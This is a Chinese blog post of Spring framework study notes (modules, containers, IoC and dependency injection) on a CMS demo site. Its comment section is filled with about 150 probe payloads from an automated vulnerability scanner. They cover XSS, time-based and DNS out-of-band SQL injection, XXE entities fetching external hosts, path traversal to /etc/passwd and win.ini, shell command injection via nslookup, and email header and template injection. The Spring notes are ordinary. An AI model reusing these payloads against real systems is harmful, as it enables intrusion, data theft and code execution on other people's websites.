Spring知识点提炼

java admin 140200 159 Comment

这里写图片描述
Spring由7个模块组成:

  • Spring Core: 核心容器提供 Spring 框架的基本功能。核心容器的主要组件是BeanFactory,它是工厂模式的实现。BeanFactory 使用控制反转 (IOC) 模式将应用程序的配置和依赖性规范与实际的应用程序代码分开。

  • Spring 上下文:Spring 上下文是一个配置文件,向 Spring 框架提供上下文信息。Spring 上下文包括企业服务,例如 JNDI、EJB、电子邮件、国际化、校验和调度功能。

  • Spring AOP:通过配置管理特性,Spring AOP 模块直接将面向方面的编程功能集成到了 Spring 框架中。所以,可以很容易地使 Spring 框架管理的任何对象支持 AOP。Spring AOP 模块为基于 Spring 的应用程序中的对象提供了事务管理服务。通过使用 Spring AOP,不用依赖 EJB 组件,就可以将声明性事务管理集成到应用程序中。

  • Spring DAO:JDBC DAO 抽象层提供了有意义的异常层次结构,可用该结构来管理异常处理和不同数据库供应商抛出的错误消息。异常层次结构简化了错误处理,并且极大地降低了需要编写的异常代码数量(例如打开和关闭连接)。Spring DAO 的面向 JDBC 的异常遵从通用的 DAO 异常层次结构。

  • Spring ORM:Spring 框架插入了若干个 ORM 框架,从而提供了 ORM 的对象关系工具,其中包括 JDO、Hibernate 和 iBatis SQL Map。所有这些都遵从 Spring 的通用事务和 DAO 异常层次结构。

  • Spring Web 模块:Web 上下文模块建立在应用程序上下文模块之上,为基于 Web 的应用程序提供了上下文。所以,Spring 框架支持与 Jakarta Struts 的集成。Web 模块还简化了处理多部分请求以及将请求参数绑定到域对象的工作。

  • Spring MVC 框架:MVC 框架是一个全功能的构建 Web 应用程序的 MVC 实现。通过策略接口,MVC 框架变成为高度可配置的,MVC 容纳了大量视图技术,其中包括 JSP、Velocity、Tiles、iText 和 POI。

3. Spring容器

Sping的容器可以分为两种类型
1. BeanFactory:(org.springframework.beans.factory.BeanFactory接口定义)是最简答的容器,提供了基本的DI支持。最常用的BeanFactory实现就是XmlBeanFactory类,它根据XML文件中的定义加载beans,该容器从XML文件读取配置元数据并用它去创建一个完全配置的系统或应用。
2. ApplicationContext应用上下文:(org.springframework.context.ApplicationContext)基于BeanFactory之上构建,并提供面向应用的服务。

4. ApplicationContext通常的实现

  • ClassPathXmlApplicationContext:从类路径下的XML配置文件中加载上下文定义,把应用上下文定义文件当做类资源。

  • FileSystemXmlApplicationContext:读取文件系统下的XML配置文件并加载上下文定义。

  • XmlWebApplicationContext:读取Web应用下的XML配置文件并装载上下文定义。

1
ApplicationContext context = new ClassPathXmlApplicationContext("applicationContext.xml");

5. IOC & DI

Inversion of Control, 一般分为两种类型:依赖注入DI(Dependency Injection)和依赖查找(Dependency Lookup).依赖注入应用比较广泛。

Spring IOC扶着创建对象,管理对象(DI),装配对象,配置对象,并且管理这些对象的整个生命周期。

优点:把应用的代码量降到最低。容器测试,最小的代价和最小的侵入性使松散耦合得以实现。IOC容器支持加载服务时的饿汉式初始化和懒加载。
DI依赖注入是IOC的一个方面,是个通常的概念,它有多种解释。这概念是说你不用床架对象,而只需要描述它如何被创建。你不在代码里直接组装你的组件和服务,但是要在配置文件里描述组件需要哪些服务,之后一个IOC容器辅助把他们组装起来。
IOC的注入方式:1. 构造器依赖注入;2. Setter方法注入。

SpringMVC

这里写图片描述

Reproduced please indicate the source: Feehi CMS demo » Spring知识点提炼

Like (46) or Share (0)
Guest Post my comment   Change account
Cancel comment

emoj
(159)person posted
  1. 1<dd72aN<
    游客2020-06-22 12:17 (3 months ago) 回复
  2. 1<img sRc='http://attacker-9959/log.php?
    游客2020-06-22 12:17 (3 months ago) 回复
  3. 1<J6sQ7P x=9041>
    游客2020-06-22 12:17 (3 months ago) 回复
  4. 1<ifRAme sRc=9270.com></IfRamE>
    游客2020-06-22 12:17 (3 months ago) 回复
  5. 1<WWUTKK>R4RRO[!+!]</WWUTKK>
    游客2020-06-22 12:17 (3 months ago) 回复
  6. 1e5FaZ <ScRiPt >hNAr(9533)</ScRiPt>
    游客2020-06-22 12:17 (3 months ago) 回复
  7. 1<% contenteditable onresize=hNAr(9961)>
    游客2020-06-22 12:17 (3 months ago) 回复
  8. 1}body{acu:Expre/**/SSion(hNAr(9553))}
    游客2020-06-22 12:17 (3 months ago) 回复
  9. 1<img<!-- --> src=x onerror=alert(9973);//><!-- -->
    游客2020-06-22 12:17 (3 months ago) 回复
  10. [url=http://www.vulnweb.com][/url]
    游客2020-06-22 12:17 (3 months ago) 回复
  11. <a HrEF=jaVaScRiPT:>
    游客2020-06-22 12:17 (3 months ago) 回复
  12. <a HrEF=http://www.vulnweb.com></a>
    游客2020-06-22 12:17 (3 months ago) 回复
  13. 1<input autofocus onfocus=hNAr(9520)>
    游客2020-06-22 12:17 (3 months ago) 回复
  14. �<img acu onmouseover=hNAr(9011) //�>
    游客2020-06-22 12:17 (3 months ago) 回复
  15. 1&lt;ScRiPt&gt;hNAr(9652)&lt;/sCripT&gt;
    游客2020-06-22 12:17 (3 months ago) 回复
  16. 1\u003CScRiPt\hNAr(9894)\u003C/sCripT\u003E
    游客2020-06-22 12:17 (3 months ago) 回复
  17. %31%3C%53%63%52%69%50%74%20%3E%68%4E%41%72%289121%29%3C%2F%73%43%72%69%70%54%3E
    游客2020-06-22 12:17 (3 months ago) 回复
  18. 1<img/src=">" onerror=alert(9777)>
    游客2020-06-22 12:17 (3 months ago) 回复
  19. 1<img src=xyz OnErRor=hNAr(9383)>
    游客2020-06-22 12:17 (3 months ago) 回复
  20. 1<img src=//testasp.vulnweb.com/t/dot.gif onload=hNAr(9036)>
    游客2020-06-22 12:17 (3 months ago) 回复
  21. 1<body onload=hNAr(9597)>
    游客2020-06-22 12:17 (3 months ago) 回复
  22. 1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9449'>
    游客2020-06-22 12:17 (3 months ago) 回复
  23. 1<isindex type=image src=1 onerror=hNAr(9800)>
    游客2020-06-22 12:17 (3 months ago) 回复
  24. 1<svg �onload=hNAr(9564);>
    游客2020-06-22 12:17 (3 months ago) 回复
  25. 1<video><source onerror="javascript:hNAr(9433)">
    游客2020-06-22 12:17 (3 months ago) 回复
  26. 1<ScRiPt >hNAr(9498)</ScRiPt>
    游客2020-06-22 12:17 (3 months ago) 回复
  27. 1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9949></ScRiPt>
    游客2020-06-22 12:17 (3 months ago) 回复
  28. 1<ScRiPt >hNAr(9170)</ScRiPt>
    游客2020-06-22 12:17 (3 months ago) 回复
  29. 1<ScR<ScRiPt>IpT>hNAr(9222)</sCr<ScRiPt>IpT>
    游客2020-06-22 12:17 (3 months ago) 回复
  30. 1<script>hNAr(9416)</script>
    游客2020-06-22 12:17 (3 months ago) 回复
  31. 1<W11M2X>7F2A7[!+!]</W11M2X>
    游客2020-06-22 12:17 (3 months ago) 回复
  32. 1<ScRiPt >hNAr(9406)</ScRiPt>
    游客2020-06-22 12:16 (3 months ago) 回复
  33. {{9999680*10000241}}
    游客2020-06-22 12:16 (3 months ago) 回复
  34. CWS000x�=�1N�@E߮��I)�@�� �HiP"D�F� G&َ7��܂�rX;!S��̛����7Jq���.�>�p�c�l��zG�ܾM�dkj�,��(��T�Jj)�"�T7$��H�D6)� x)��ؒ�\C�|�Q�Nc�b� b_&�5 h��g� ]s��0Q�L<�6�L�_�w~�[�/[�m{����:n-����.�d1d��?6�0
    游客2020-06-22 12:16 (3 months ago) 回复
  35. acux3841��z1��z2a�bcxuca3841
    游客2020-06-22 12:16 (3 months ago) 回复
  36. acu8429<s1﹥s2ʺs3ʹuca8429
    游客2020-06-22 12:16 (3 months ago) 回复
  37. 19391124
    游客2020-06-22 12:16 (3 months ago) 回复
  38. '"()&%<acx><ScRiPt >hNAr(9060)</ScRiPt>
    游客2020-06-22 12:16 (3 months ago) 回复
  39. 1'"()&%<acx><ScRiPt >hNAr(9834)</ScRiPt>
    游客2020-06-22 12:16 (3 months ago) 回复
  40. <!--
    游客2020-06-22 12:16 (3 months ago) 回复
  41. '"
    游客2020-06-22 12:16 (3 months ago) 回复
  42. WEB-INF\web.xml
    游客2020-06-22 12:16 (3 months ago) 回复
  43. WEB-INF/web.xml
    游客2020-06-22 12:16 (3 months ago) 回复
  44. �''�""
    游客2020-06-22 12:16 (3 months ago) 回复
  45. <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE body SYSTEM "http://hitK4uB0cVynd.bxss.me/"> <body><method>test</method></body>
    游客2020-06-22 12:16 (3 months ago) 回复
  46. �'�"
    游客2020-06-22 12:16 (3 months ago) 回复
  47. <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://hitJAgdhZeLE3.bxss.me/"> %xxe; ]>
    游客2020-06-22 12:16 (3 months ago) 回复
  48. JyI=
    游客2020-06-22 12:16 (3 months ago) 回复
  49. @@wuXzg
    游客2020-06-22 12:16 (3 months ago) 回复
  50. ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
    游客2020-06-22 12:16 (3 months ago) 回复
  51. 1����%2527%2522
    游客2020-06-22 12:16 (3 months ago) 回复
  52. <xi:include href="http://hitmPbPXgJA6F.bxss.me/" parse="text"/>
    游客2020-06-22 12:16 (3 months ago) 回复
  53. ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
    游客2020-06-22 12:16 (3 months ago) 回复
  54. \
    游客2020-06-22 12:16 (3 months ago) 回复
  55. /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
    游客2020-06-22 12:16 (3 months ago) 回复
  56. ..\..\..\..\..\..\..\..\windows\win.ini
    游客2020-06-22 12:16 (3 months ago) 回复
  57. <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" "http://hitpBOUXLXtHu.bxss.me/"> <roottag>acunetix</roottag>
    游客2020-06-22 12:16 (3 months ago) 回复
  58. 1'"
    游客2020-06-22 12:16 (3 months ago) 回复
  59. ................windowswin.ini
    游客2020-06-22 12:16 (3 months ago) 回复
  60. <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE acunetix [ <!ENTITY acunetixent SYSTEM "http://hitjZE8P3C7ta.bxss.me/"> ]> <xxx>&acunetixent;</xxx>
    游客2020-06-22 12:16 (3 months ago) 回复
  61. ������������������������������������������������windows��win.ini
    游客2020-06-22 12:16 (3 months ago) 回复
  62. ../../../../../../../../../../windows/win.ini.jpg
    游客2020-06-22 12:16 (3 months ago) 回复
  63. C:\WINDOWS\system32\drivers\etc\hosts
    游客2020-06-22 12:16 (3 months ago) 回复
  64. ../../../../../../../../../../windows/win.ini
    游客2020-06-22 12:16 (3 months ago) 回复
  65. /\www.vulnweb.com
    游客2020-06-22 12:16 (3 months ago) 回复
  66. WEB-INF\web.xml
    游客2020-06-22 12:16 (3 months ago) 回复
  67. //www.vulnweb.com
    游客2020-06-22 12:16 (3 months ago) 回复
  68. /WEB-INF/web.xml
    游客2020-06-22 12:16 (3 months ago) 回复
  69. http://www.vulnweb.com
    游客2020-06-22 12:16 (3 months ago) 回复
  70. WEB-INF/web.xml
    游客2020-06-22 12:16 (3 months ago) 回复
  71. 916775
    游客2020-06-22 12:16 (3 months ago) 回复
  72. /\../\../\../\../\../\../\../etc/passwd
    游客2020-06-22 12:16 (3 months ago) 回复
  73. file:///etc/passwd
    游客2020-06-22 12:16 (3 months ago) 回复
  74. /www.vulnweb.com
    游客2020-06-22 12:16 (3 months ago) 回复
  75. ..��..��..��..��..��..��..��..��etc/passwd
    游客2020-06-22 12:16 (3 months ago) 回复
  76. ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
    游客2020-06-22 12:16 (3 months ago) 回复
  77. ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
    游客2020-06-22 12:16 (3 months ago) 回复
  78. /.././.././.././.././.././.././.././../etc/./passwd%00
    游客2020-06-22 12:16 (3 months ago) 回复
  79. %2fetc%2fpasswd
    游客2020-06-22 12:16 (3 months ago) 回复
  80. /etc/passwd
    游客2020-06-22 12:16 (3 months ago) 回复
  81. .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
    游客2020-06-22 12:16 (3 months ago) 回复
  82. /../..//../..//../..//../..//../..//etc/passwd.jpg
    游客2020-06-22 12:16 (3 months ago) 回复
  83. ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
    游客2020-06-22 12:16 (3 months ago) 回复
  84. ../../../../../../../../../../etc/passwd.jpg
    游客2020-06-22 12:16 (3 months ago) 回复
  85. ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
    游客2020-06-22 12:16 (3 months ago) 回复
  86. ../../../../../../../../../../../../../../../proc/version
    游客2020-06-22 12:15 (3 months ago) 回复
  87. ../../../../../../../../../../etc/passwd
    游客2020-06-22 12:15 (3 months ago) 回复
  88. )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
    游客2020-06-22 12:15 (3 months ago) 回复
  89. index.php/.
    游客2020-06-22 12:15 (3 months ago) 回复
  90. index.php
    游客2020-06-22 12:15 (3 months ago) 回复
  91. index.php
    游客2020-06-22 12:15 (3 months ago) 回复
  92. http://hitp173WhLi9N.bxss.me/
    游客2020-06-22 12:15 (3 months ago) 回复
  93. ${@print(md5(acunetix_wvs_security_test))}\
    游客2020-06-22 12:15 (3 months ago) 回复
  94. ${@print(md5(acunetix_wvs_security_test))}
    游客2020-06-22 12:15 (3 months ago) 回复
  95. ";print(md5(acunetix_wvs_security_test));$a="
    游客2020-06-22 12:15 (3 months ago) 回复
  96. ';print(md5(acunetix_wvs_security_test));$a='
    游客2020-06-22 12:15 (3 months ago) 回复
  97. ;print(md5(acunetix_wvs_security_test));
    游客2020-06-22 12:15 (3 months ago) 回复
  98. http://testasp.vulnweb.com/t/xss.html?%00.jpg
    游客2020-06-22 12:14 (3 months ago) 回复
  99. ^(#$!@#$)(()))******
    游客2020-06-22 12:14 (3 months ago) 回复
  100. '"()
    游客2020-06-22 12:14 (3 months ago) 回复
  101. !(()&&!|*|*|
    游客2020-06-22 12:14 (3 months ago) 回复
  102. )
    游客2020-06-22 12:14 (3 months ago) 回复
  103. testasp.vulnweb.com
    游客2020-06-22 12:14 (3 months ago) 回复
  104. http://testasp.vulnweb.com/t/fit.txt?.jpg
    游客2020-06-22 12:14 (3 months ago) 回复
  105. Http://testasp.vulnweb.com/t/fit.txt
    游客2020-06-22 12:14 (3 months ago) 回复
  106. 1some_inexistent_file_with_long_name.jpg
    游客2020-06-22 12:14 (3 months ago) 回复
  107. http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
    游客2020-06-22 12:14 (3 months ago) 回复
  108. 193'
    游客2020-06-22 12:13 (3 months ago) 回复
  109. 1';copy (select '') to program 'nslookup dns.sqli.\013405.1-2898.1.5b63a.\1.bxss.me
    游客2020-06-22 12:13 (3 months ago) 回复
  110. 1;copy (select '') to program 'nslookup dns.sqli.\013405.1-2897.1.5b63a.\1.bxss.me'
    游客2020-06-22 12:13 (3 months ago) 回复
  111. '||UTL_INADDR.get_host_address('dns.'||'sqli.013405.1-2896.1.5b63a.1.bxss'||'.me')||'
    游客2020-06-22 12:13 (3 months ago) 回复
  112. 1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.1-2895.1.5b63a.1.bxss'||'.me')
    游客2020-06-22 12:13 (3 months ago) 回复
  113. epVmA3sd'));select pg_sleep(8); --
    游客2020-06-22 12:13 (3 months ago) 回复
  114. GQtwdLO5');select pg_sleep(8); --
    游客2020-06-22 12:13 (3 months ago) 回复
  115. 5FoKMnwG';select pg_sleep(8); --
    游客2020-06-22 12:13 (3 months ago) 回复
  116. -1));select pg_sleep(4); --
    游客2020-06-22 12:13 (3 months ago) 回复
  117. -1);select pg_sleep(4); --
    游客2020-06-22 12:13 (3 months ago) 回复
  118. -1;select pg_sleep(4); --
    游客2020-06-22 12:13 (3 months ago) 回复
  119. PZ4bp3sR'; waitfor delay '0:0:4' --
    游客2020-06-22 12:13 (3 months ago) 回复
  120. 1 waitfor delay '0:0:4' --
    游客2020-06-22 12:13 (3 months ago) 回复
  121. -1); waitfor delay '0:0:4' --
    游客2020-06-22 12:13 (3 months ago) 回复
  122. -1; waitfor delay '0:0:12' --
    游客2020-06-22 12:13 (3 months ago) 回复
  123. (select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/
    游客2020-06-22 12:13 (3 months ago) 回复
  124. if(now()=sysdate(),sleep(12),0)/*'XOR(if(now()=sysdate(),sleep(12),0))OR'"XOR(if(now()=sysdate(),sleep(12),0))OR"*/
    游客2020-06-22 12:13 (3 months ago) 回复
  125. -1" OR 3*2>(0+5+316-316) --
    游客2020-06-22 12:13 (3 months ago) 回复
  126. -1" OR 3*2<(0+5+316-316) --
    游客2020-06-22 12:13 (3 months ago) 回复
  127. -1" OR 3+316-316-1=0+0+0+1 --
    游客2020-06-22 12:13 (3 months ago) 回复
  128. -1" OR 2+316-316-1=0+0+0+1 --
    游客2020-06-22 12:13 (3 months ago) 回复
  129. ${10000485+10000351}
    游客2020-06-22 12:13 (3 months ago) 回复
  130. -1' OR 3*2>(0+5+256-256) or 'un7kiZv7'='
    游客2020-06-22 12:13 (3 months ago) 回复
  131. -1' OR 3*2<(0+5+256-256) or 'un7kiZv7'='
    游客2020-06-22 12:13 (3 months ago) 回复
  132. -1' OR 3+256-256-1=0+0+0+1 or 'un7kiZv7'='
    游客2020-06-22 12:13 (3 months ago) 回复
  133. -1' OR 2+256-256-1=0+0+0+1 or 'un7kiZv7'='
    游客2020-06-22 12:13 (3 months ago) 回复
  134. -1' OR 3*2>(0+5+917-917) --
    游客2020-06-22 12:13 (3 months ago) 回复
  135. -1' OR 3*2<(0+5+917-917) --
    游客2020-06-22 12:13 (3 months ago) 回复
  136. -1' OR 3+917-917-1=0+0+0+1 --
    游客2020-06-22 12:13 (3 months ago) 回复
  137. -1' OR 2+917-917-1=0+0+0+1 --
    游客2020-06-22 12:13 (3 months ago) 回复
  138. -1 OR 3*2>(0+5+566-566)
    游客2020-06-22 12:13 (3 months ago) 回复
  139. -1 OR 3*2<(0+5+566-566)
    游客2020-06-22 12:13 (3 months ago) 回复
  140. -1 OR 3+566-566-1=0+0+0+1
    游客2020-06-22 12:13 (3 months ago) 回复
  141. -1 OR 2+566-566-1=0+0+0+1
    游客2020-06-22 12:13 (3 months ago) 回复
  142. -1 OR 3*2>(0+5+795-795) --
    游客2020-06-22 12:13 (3 months ago) 回复
  143. -1 OR 3*2<(0+5+795-795) --
    游客2020-06-22 12:13 (3 months ago) 回复
  144. -1 OR 3+795-795-1=0+0+0+1 --
    游客2020-06-22 12:13 (3 months ago) 回复
  145. -1 OR 2+795-795-1=0+0+0+1 --
    游客2020-06-22 12:13 (3 months ago) 回复
  146. 1
    游客2020-06-22 12:13 (3 months ago) 回复
  147. 1
    游客2020-06-22 12:13 (3 months ago) 回复
  148. to@example.com> bcc:013405.1-2842.1.5b63a.1@bxss.me
    游客2020-06-22 12:13 (3 months ago) 回复
  149. bcc:013405.1-2841.1.5b63a.1@bxss.me
    游客2020-06-22 12:13 (3 months ago) 回复
  150. hbwV0dFf
    游客2020-06-22 12:12 (3 months ago) 回复
  151. &nslookup dns.ce.\013405.1-2738.1.5b63a.\1.bxss.me&'\"`0&nslookup dns.ce.\013405.1-2738.1.5b63a.\1.bxss.me&`'
    游客2020-06-22 12:11 (3 months ago) 回复
  152. $(nslookup dns.ce.\013405.1-2737.1.5b63a.\1.bxss.me)
    游客2020-06-22 12:11 (3 months ago) 回复
  153. set|set&set
    游客2020-06-22 12:11 (3 months ago) 回复
  154. </script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source),s.src=(/,/+/bxss.me\/s?u=013405&r=1-2651&h=1-5b63a-2&/).slice(2),document.documentElement.appendChild(s))//'>
    游客2020-06-22 12:10 (3 months ago) 回复
  155. "+response.write(9833742*9462650)+"
    游客2020-06-22 12:09 (3 months ago) 回复
  156. '+response.write(9833742*9462650)+'
    游客2020-06-22 12:09 (3 months ago) 回复
  157. response.write(9833742*9462650)
    游客2020-06-22 12:09 (3 months ago) 回复
  158. </textarea>'"><img src=x onerror=alert(1)>
    admin1232020-03-21 00:49 (6 months ago) 回复
  159. 22
    游客2020-03-19 18:30 (6 months ago) 回复

Effective,Professional,Conform to SEO

Contact us